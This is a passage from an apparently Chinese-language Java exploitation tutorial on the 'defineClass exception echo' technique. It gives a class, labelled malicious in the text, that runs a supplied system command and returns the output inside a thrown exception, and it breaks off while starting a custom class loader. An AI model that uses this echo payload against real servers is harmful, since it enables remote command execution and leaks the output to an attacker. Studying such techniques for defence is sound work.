e.printStackTrace();
}
}
}
2、defineClass 异常回显
首先新建恶意异常回显类,并且编译成 class 文件
package com.akkacloud.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Echo {
public Echo(String cmd) throws Exception {
ProcessBuilder processBuilder = new ProcessBuilder(new String[]{cmd});
Process start = processBuilder.start();
InputStream inputStream = start.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuffer stringBuffer = new StringBuffer();
String line =null;
while ((line = bufferedReader.readLine()) != null) {
stringBuffer.append(line).append(“\n”);
}
throw new Exception(stringBuffer.toString());
}
}
新建自己的 classLoder
package com.akkacloud.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;